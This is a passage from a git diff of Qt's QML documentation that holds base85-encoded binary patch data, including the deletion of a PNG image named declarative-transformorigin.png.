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 Y5ijeYXv07U_MRZh&omS&<;>px4=0#X0ssI2 diff --git a/src/qml/doc/images/declarative-transformorigin.png b/src/qml/doc/images/declarative-transformorigin.png deleted file mode 100644 index 4af320fbc5a72c1c40ac00a6e31beeacc6630d3f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 8927 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 